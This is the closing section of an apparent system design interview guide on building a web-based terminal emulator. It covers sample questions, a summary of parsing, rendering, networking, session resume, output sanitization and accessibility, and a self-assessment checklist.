  • "Why not just use a pre element?" Because output moves a cursor and overwrites cells, and full-screen apps use a second buffer. A pre can only append.
  • "How do you handle Ctrl+W?" The browser takes it. Keyboard Lock in fullscreen, remappable keys, a close guard, and persistent sessions so a closed tab loses nothing.
  • "The network drops for 30 seconds. What does the user see?" A dimmed screen with a banner, backoff retries, then a resume from the processed byte offset; a snapshot if the offset is gone. The build kept running throughout.
  • "How would you test it?" Byte-string unit tests for the parser and buffer, recorded captures replayed into a headless instance with buffer snapshots, vttest for conformance, and the Ctrl+C under flood benchmark.
  • "How does a blind user read an error?" Screen reader mode with a polite live region, a navigable row mirror, a review view, and a documented way out of the Tab trap.

Summary

  • A terminal is a grid of cells with a cursor, not a list of lines. Two buffers exist: the normal one with scrollback and the alternate one that full-screen apps like vim paint on.
  • Store cells in typed arrays (about 12 bytes per cell) and scrollback in a ring buffer. 10,000 lines at 120 columns is about 14 MB.
  • Parse with a table-driven state machine based on the DEC parser model. State that persists between writes makes chunks split mid-sequence a non-issue; decode UTF-8 in streaming mode for the same reason.
  • Match character widths to the programs on the server, not to an ideal table, or the cursor drifts after every emoji.
  • Render with WebGL and a glyph atlas, repaint only dirty rows once per frame, keep the cursor blink separate, and fall back to the DOM renderer.
  • Capture input with a hidden textarea at the cursor so IME, mobile keyboards, and paste work. Encode keys from a table that reads modes the parser set, and wrap pastes in bracketed paste markers with escapes stripped.
  • Use one WebSocket with binary frames and a tiny typed protocol. Flow control with watermarks and acks after parsing keeps memory bounded and Ctrl+C responsive during floods.
  • Sessions belong to the gateway, not the socket: resume by byte offset, fall back to a snapshot from a headless emulator.
  • Treat output as untrusted: never HTML, sanitized titles, OSC 52 clipboard writes off by default, links limited to safe schemes. Authenticate with short-lived tickets and an Origin check.
  • Accessibility is its own view of the buffer: a polite, throttled live region, a navigable row mirror, and a documented way out of the Tab trap.

Check your answer

Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.

Junior 0 of 4
Mid-level 0 of 5

References

Concepts behind it

Try next